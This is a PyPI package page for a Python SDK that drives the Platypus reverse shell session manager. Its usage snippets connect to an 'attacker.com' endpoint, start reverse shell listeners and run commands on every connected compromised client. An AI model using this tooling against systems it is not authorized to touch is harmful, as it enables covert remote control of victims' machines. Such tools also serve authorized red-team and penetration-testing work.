Skip to main content

Python SDK for reverse shell sessions manager - Platypus

Project description

Platypus-Python

Python SDK for reverse shell sessions manager Platypus

Install

pip install platypus-python

Usage

Connect to Platypus endpoint

import platypus_python as pp

p = pp.Platypus("attacker.com", 7331)

Create a reverse shell server

server = p.create_server("0.0.0.0", 13339)

Get all available listening servers

servers = p.get_servers()
for server in servers():
    print(server)

Stop a reverse shell server

server = servers[0]
server.delete()

Get all online Clients of a server

server = servers[0]
clients = server.get_clients()
for client in clients:
    print(client)

Execute a command on a client

client = clients[0]
client.system("id")

Execute a command on all clients of a server

server = servers[0]
server.system("id")

Execute a command on all clients

p.system("id")

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

platypus-python-1.0.0.tar.gz (2.8 kB view hashes)

Uploaded Source

Built Distribution

platypus_python-1.0.0-py3-none-any.whl (2.8 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page